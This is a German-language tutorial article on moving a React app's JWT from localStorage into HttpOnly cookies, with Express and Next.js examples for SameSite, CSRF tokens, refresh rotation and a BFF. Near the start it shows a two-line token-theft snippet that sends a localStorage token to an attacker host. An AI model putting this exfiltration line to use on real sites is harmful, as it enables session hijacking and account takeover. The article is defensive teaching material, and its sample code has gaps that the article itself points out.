Startseite / Artikel

JWT einer React-App aus localStorage in HttpOnly-Cookies verschieben

Erfahren Sie, warum localStorage-JWTs anfällig für jedes XSS sind, wie HttpOnly-Cookies mit SameSite-Einstellung, regelmäßiger Erneuerung sowie ein BFF das Risiko verringern und welche Fallstricke in React-Apps weiterhin bestehen.

Verlag: REACTAPP.TOP9 Min. Lesezeit2123 Wörter

Quellen: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT

Die Art und Weise, wie eine React-Anwendung ihr Zugriffstoken speichert, bestimmt, was ein einzelner Cross-Site-Scripting-Fehler kosten kann. Ein JWT in localStorage kann von jedem Skript auf der Seite gelesen und ausgespäht werden; eines in einem HttpOnly-Cookie hingegen nicht, obwohl Cookies stattdessen Probleme der Cross-Site-Request-Forgery aufwerfen. Unten finden Sie einen Vergleich beider Optionen, eine auf Cookies basierende Konfiguration mit einem Express-Backend sowie die Techniken zur Rotation, zum Schutz vor CSRF und dem Backend-for-Frontend-Ansatz, die diese ergänzen.

Zwei Speicheroptionen, zwei Bedrohungsmodelle

Der Browser unterscheidet nicht zwischen Ihren eigenen Skripten und solchen, die eingefügt werden, weshalb die beiden üblichen Speicherorte für JWTs unterschiedlich funktionieren:

  • localStorage ist für jedes JavaScript auf derselben Domain lesbar. Die Bedrohung besteht in XSS; Gegenmaßnahmen sind eine strenge CSP sowie Sanitierung.
  • HttpOnly-Cookies werden vom Browser gesendet und für JavaScript unsichtbar. Die Bedrohung besteht in CSRF; Gegenmaßnahmen sind SameSite sowie CSRF-Tokens.
  • Warum localStorage XSS in einen Account-Takeover umwandelt

    Jeder auf Ihrer Domain ausgeführte Script benötigt zwei Schritte, um den Token zu stehlen:

    // Any script running on your domain can do this:
    const token = localStorage.getItem('access_token');
    fetch('https://attacker.com/steal?token=' + token);
    

    Ein injiziertes Code erreicht React-Projekte über mehr Wege, als Teams erwarten:

    • dangerouslySetInnerHTML mit Inhalten, die Sie nicht kontrollieren.
    • Kompromittierte npm-Pakete, wie bei den Vorfällen mit event-stream und ua-parser-js.
    • Verfälschte Scripts aus externen CDNs.
    • Markdown-Renderer, die die Sanitierung überspringen.
    • Browser-Erweiterungen, die Code in die Seite injizieren.

    JSX entlässt eingefügte Zeichenketten, doch dieser Schutz verschwindet sofort, sobald der Code darauf verzichtet – typischerweise um BIOS-Inhalte oder reich formatierte Ausgaben anzuzeigen:

    // ❌ NEVER do this with user-generated content
    <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    // ❌ Or with rich text editors
    <div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
    

    Sanitisierer helfen zwar, doch es gibt Umgehungsmöglichkeiten dafür. Zur Referenz: hier ist der bekannte localStorage-Client – Hilfsfunktionen zum Speichern und Lesen des Tokens sowie ein Wrapper, der einen Bearer-Header hinzufügt.

    // services/auth.ts
    const TOKEN_KEY = 'access_token';
    export const setToken = (token: string) => {
      localStorage.setItem(TOKEN_KEY, token);
    };
    export const getToken = () => {
      return localStorage.getItem(TOKEN_KEY);
    };
    export const removeToken = () => {
      localStorage.removeItem(TOKEN_KEY);
    };
    // api/client.ts
    import { getToken } from './auth';
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const token = getToken();
    
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        headers: {
          'Content-Type': 'application/json',
          ...(token && { Authorization: `Bearer ${token}` }),
          ...options.headers,
        },
      });
    
      return response;
    };
    

    Es ist einfach, und es lässt sich nicht gegen XSS absichern, weil die Architektur vorsieht, dass JavaScript das Token lesen muss.

    HttpOnly-Cookies als Standard

    Der Server setzt das Cookie, wobei jedes Attribut eine bestimmte Lücke schließt:

    Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
      HttpOnly;
      Secure;
      SameSite=Strict;
      Path=/;
      Max-Age=900
    
    • HttpOnly verbirgt es vor document.cookie und jeglichem Zugriff durch Skripte.
    • Secure beschränkt den Zugriff auf HTTPS.
    • SameSite=Strict verhindert, dass der Browser es an Anfragen von anderen Seiten weiterleitet.
  • Max-Age=900 verleiht dem Zugriffstoken eine Gültigkeitsdauer von 15 Minuten.
  • Der Client berührt den Token nicht mehr

    React verwendet keine Speicherverwaltungshilfen sowie keinen Header mehr. Die entscheidende Zeile ist credentials: 'include', wodurch fetch Cookies sendet. Bei einem 401-Fehler aktualisiert der Wrapper den Token und sendet die Anfrage erneut oder leitet zum Anmelden um.

    // api/client.ts
    // No manual Authorization header needed!
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        credentials: 'include', // CRITICAL: Sends cookies with requests
        headers: {
          'Content-Type': 'application/json',
          ...options.headers,
        },
      });
    
      // If 401, try refreshing
      if (response.status === 401) {
        const refreshed = await refreshAccessToken();
        if (refreshed) {
          // Retry original request (browser auto-sends new cookie)
          return apiClient(endpoint, options);
        }
        // Redirect to login
        window.location.href = '/login';
      }
    
      return response;
    };
    

    In der Produktion sollte die Wiederholung der Anfrage auf einen Versuch beschränkt werden, damit ein „erfolgreicher“ Refresh, während die API weiterhin 401 zurückgibt, nicht endlos fortgesetzt wird. Zudem sollte ein laufender Refresh bei gleichzeitigen Fehlern gemeinsam genutzt werden, wie in der Lösung für den einzigen laufenden Refresh beschrieben.

    Die Express-Seite

    Beim Anmelden signiert der Server ein 15-minütiges Zugriffstoken sowie ein 7-tägiges Erneuerungstoken mit separaten Geheimwörtern, speichert einen Hash des Erneuerungstokens und setzt beide Cookies. Das Erneuerungscookie verwendet path: '/auth/refresh', sodass es nur zu diesem Endpunkt gesendet wird. Der Erneuerungshandler überprüft das JWT, vergleicht es mit dem gespeicherten Hash mithilfe von bcrypt und stellt ein neues Zugriffscookie aus.

    // auth.controller.ts
    import { Response } from 'express';
    import jwt from 'jsonwebtoken';
    const ACCESS_TOKEN_EXPIRY = '15m';
    const REFRESH_TOKEN_EXPIRY = '7d';
    export const login = async (req, res: Response) => {
      const { email, password } = req.body;
    
      // Validate credentials...
      const user = await validateUser(email, password);
    
      const accessToken = jwt.sign(
        { userId: user.id, role: user.role },
        process.env.ACCESS_TOKEN_SECRET!,
        { expiresIn: ACCESS_TOKEN_EXPIRY }
      );
    
      const refreshToken = jwt.sign(
        { userId: user.id, tokenVersion: user.tokenVersion },
        process.env.REFRESH_TOKEN_SECRET!,
        { expiresIn: REFRESH_TOKEN_EXPIRY }
      );
    
      // Store refresh token hash in database (not the raw token!)
      await storeRefreshToken(user.id, refreshToken);
    
      // Set cookies
      res.cookie('access_token', accessToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 15 * 60 * 1000, // 15 minutes
        path: '/',
      });
    
      res.cookie('refresh_token', refreshToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
        path: '/auth/refresh', // Only sent to refresh endpoint
      });
    
      res.json({ success: true });
    };
    export const refresh = async (req, res: Response) => {
      const refreshToken = req.cookies.refresh_token;
    
      if (!refreshToken) {
        return res.status(401).json({ error: 'No refresh token' });
      }
    
      try {
        const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
    
        // Check if token is in database and not revoked
        const storedToken = await getRefreshToken(payload.userId);
        if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
          return res.status(401).json({ error: 'Invalid refresh token' });
        }
    
        // Rotate: Issue new access token (and optionally new refresh token)
        const newAccessToken = jwt.sign(
          { userId: payload.userId },
          process.env.ACCESS_TOKEN_SECRET!,
          { expiresIn: ACCESS_TOKEN_EXPIRY }
        );
    
        res.cookie('access_token', newAccessToken, {
          httpOnly: true,
          secure: true,
          sameSite: 'strict',
          maxAge: 15 * 60 * 1000,
          path: '/',
        });
    
        res.json({ success: true });
      } catch {
        // Clear cookies on failure
        res.clearCookie('access_token');
        res.clearCookie('refresh_token');
        res.status(401).json({ error: 'Invalid token' });
      }
    };
    

    Vor der Wiederverwendung: importieren Sie bcrypt; beachten Sie, dass das Erneuerungscookie standardmäßig secure: true hat, während die Anmeldevorgänge den Wert aus der Umgebungsvariable prüfen; außerdem muss res.clearCookie('refresh_token') ebenfalls path: '/auth/refresh' übergeben, andernfalls wird das Cookie tatsächlich nicht entfernt.

    CSRF in einer SameSite-Welt

    CSRF nutzt die Tatsache aus, dass Cookies automatisch übertragen werden. SameSite behebt den größten Teil dieses Problems im Browser, und browserbasiert auf Chromium behandeln Cookies ohne dieses Attribut als Lax. Für eine SPA:

    • Wählen Sie Strict, wenn Frontend und API denselben Domainnamen teilen.
    • Wählen Sie Lax, wenn Nutzer über externe Links kommen und bei der ersten Navigation angemeldet sein sollten.
    • Vermeiden Sie None, es sei denn, Sie benötigen tatsächlich cross-site Cookies und kennen die Konsequenzen.

    „Site“ bezieht sich auf die registrierbare Domain, sodass auch ein kompromittierter Unterdomainnamen weiterhin als derselbe Site gilt.

    Hinzufügen eines doppelten Übermittlungstokens

    Zur zusätzlichen Absicherung setzt der Server einen zufälligen Wert in ein lesbares Cookie, React kopiert diesen Wert in den Header X-CSRF-Token, und der Server lehnt Anfragen ab, bei denen die Werte unterschiedlich sind.

    // Backend sets a non-HttpOnly CSRF cookie
    res.cookie('csrf_token', generateRandomToken(), {
      httpOnly: false, // React needs to read this
      secure: true,
      sameSite: 'strict',
    });
    // React reads it and sends in header
    const csrfToken = document.cookie
      .split('; ')
      .find(row => row.startsWith('csrf_token='))
      ?.split('=')[1];
    fetch('/api/sensitive', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'X-CSRF-Token': csrfToken,
      },
    });
    

    Eine gefälschte Seite kann aufgrund der Same-Origin-Policy Ihre Cookies nicht lesen und daher auch keinen entsprechenden Header erzeugen. Mit SameSite=Strict sowie strengen CORS-Einstellungen ist dies oft überflüssig, stellt aber eine günstige Absicherung gegen Fehlkonfigurationen dar.

    Wechselnde Refresh-Tokens und Erkennung von Wiederverwendung

    Kurze Zugriffstokens in Kombination mit längeren Refresh-Tokens bilden die übliche Grundlage, doch ein gestohlenes Refresh-Token gewährt weiterhin mehrere Tage Zugriff. Durch regelmäßigen Wechsel erzeugt jedes Refresh-Vorgang ein neues Token und macht das alte ungültig; falls ein abgelaufenes Token erneut auftaucht, wird es von jemandem wiederverwendet, und die sichere Reaktion besteht darin, alle Sessions dieses Kontos zu widerrufen.

    // When refreshing, invalidate the old refresh token
    export const refresh = async (req, res) => {
      const incomingRefresh = req.cookies.refresh_token;
    
      // Find user by refresh token
      const user = await findUserByRefreshToken(incomingRefresh);
    
      if (!user) {
        // Possible token reuse! Clear all sessions.
        await revokeAllUserTokens(user.id);
        return res.status(401).json({ error: 'Token reuse detected' });
      }
    
      // Rotate: Generate new pair
      const newRefresh = generateRefreshToken();
      await replaceRefreshToken(incomingRefresh, newRefresh);
    
      // If attacker had stolen old token, it's now invalid
      // If legitimate user has old token (race condition), they'll need to re-auth
    };
    

    Beheben Sie zunächst einen Fehler: Innerhalb von if (!user) ruft der Code revokeAllUserTokens(user.id) auf einem Null-Wert auf. Eine echte Wiederverwendungserkennung muss den Besitzer eines bereits erneuerten Tokens finden, in der Regel über ein „Token-Familie“-Record. Bei gleichzeitiger Aktualisierung zweier Tabellen können falsche Positivergebnisse auftreten; ein kurzer Fristenraum hilft dabei. Der Leitfaden zur Refresh-Token-Strategie behandelt weitere Aspekte auf der Serverseite.

    Token vom Client fernhalten mit einem BFF

    Ein Backend-for-Frontend ist ein schmaler Server zwischen React und der eigentlichen API:

    React App → BFF (Next.js API routes / Express) → Actual API
    

    Es führt OAuth-Flüsse (Authorization Code mit PKCE) aus, speichert Tokens in verschlüsselten HttpOnly-Cookies, handhabt CSRF und entfernt den größten Teil der CORS-Einrichtung, da der Browser nur seine eigene Domain aufruft. In Next.js kann ein Route-Handler die Anmeldeinformationen an den Auth-Service weiterleiten und das zurückgegebene Token in einen Cookie umwandeln:

    // Next.js API Route (BFF pattern)
    // pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
    import { NextRequest, NextResponse } from 'next/server';
    export async function POST(req: NextRequest) {
      const body = await req.json();
    
      // Call actual auth service
      const authRes = await fetch('https://internal-api.company.com/auth', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(body),
      });
    
      const { access_token, refresh_token } = await authRes.json();
    
      const response = NextResponse.json({ success: true });
    
      // Set HttpOnly cookies
      response.cookies.set('access_token', access_token, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 900,
      });
    
      return response;
    }
    

    Eine vollständige Version würde außerdem das Refresh-Token speichern und vor der Parsing-Operation authRes.ok überprüfen. Ein BFF eignet sich, wenn Sie Drittanbieter-OAuth wie Google oder GitHub verwenden, die API auf einer anderen Domain liegt, Sie die Auth-Logik aus dem Bundle entfernen möchten oder bereits Next.js nutzen.

    Wahl der Einrichtung

    Für die meisten SPAs im selben Domainbereich ist dies die Grundlage:

    ✅ HttpOnly cookies with:
       - SameSite=Strict (or Lax)
       - Secure flag
       - Short-lived access tokens (5-15 min)
       - Rotating refresh tokens (7 days)
       - Token reuse detection
       - CORS properly configure
    

    Für cross-domain-APIs oder mobile Clients ist localStorage nur dann akzeptabel, wenn Sie das XSS-Risiko in Kauf nehmen und es ausgleichen:

    localStorage ONLY if:
       - You implement strict CSP headers
       - You audit all dependencies for XSS
       - You don't use dangerouslySetInnerHTML
       - You have a short token lifetime (< 15 min)
       - You accept the XSS risk
    

    Für die strengsten Anforderungen oder Unternehmensprotokolle entfernt ein BFF Tokens aus dem Browser:

     Backend-for-Frontend (BFF):
       - React app talks to same-origin API routes
       - API routes handle tokens in HttpOnly cookies
       - React never touches JWTs
       - Works with OAuth, SAML, enterprise auth
    

    Checkliste für authentifizierungsbasierte Cookies

    • Markieren Sie Authentifizierungscookies mit HttpOnly, Secure und SameSite=Strict.
    • Lassen Sie Zugriffstokens 5 bis 15 Minuten gültig sein.
    • Rotieren Sie Erneuerungstokens unter Berücksichtigung einer Wiederverwendungsüberwachung.
    • Senden Sie bei jeder fetch- oder axios-Anfrage credentials: 'include'.
    • Kombinieren Sie Access-Control-Allow-Credentials: true mit einer expliziten Herkunftsadresse.
    • Ausklammern Sie Cookies aus Logs und Analysen.
    • Löschen Sie Cookies auf Serverseite über einen /logout-Endpunkt, gegebenenfalls zusammen mit Clear-Site-Data: "cookies".
    • Führen Sie auf jeden Fall eine Content Security Policy ein.

    Eine verschärfte Antwort kann diese Header enthalten:

    # Example secure headers
    Content-Security-Policy: default-src 'self'; script-src 'self';
    Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
    Clear-Site-Data: "cookies"  # On logout
    

    Zusammenfassung

    HttpOnly-Cookies machen XSS nicht harmlos: Eingefügte Skripte können weiterhin authentifizierte Anfragen senden, solange die Seite geöffnet ist. Was sie jedoch nicht tun können, ist das Token mitzunehmen und es an anderer Stelle erneut zu verwenden. Dieser Unterschied, zusammen mit kurzen Lebenszeiten und regelmäßiger Erneuerung, macht Cookies zur richtigen Standardlösung für Webanwendungen – wobei weiterhin eine CSP erforderlich ist. CSRF wird größtenteils durch SameSite sowie ein optionaler doppelter Übermittlungstoken abgehandelt, während XSS weiterhin eine anhaltende Gefahr in React-Code mit vielen Abhängigkeiten darstellt. Wenn die cross-domain-Authentifizierung das Arbeiten mit Cookies erschwert, sollte anstelle von localStorage ein kleiner BFF entwickelt werden.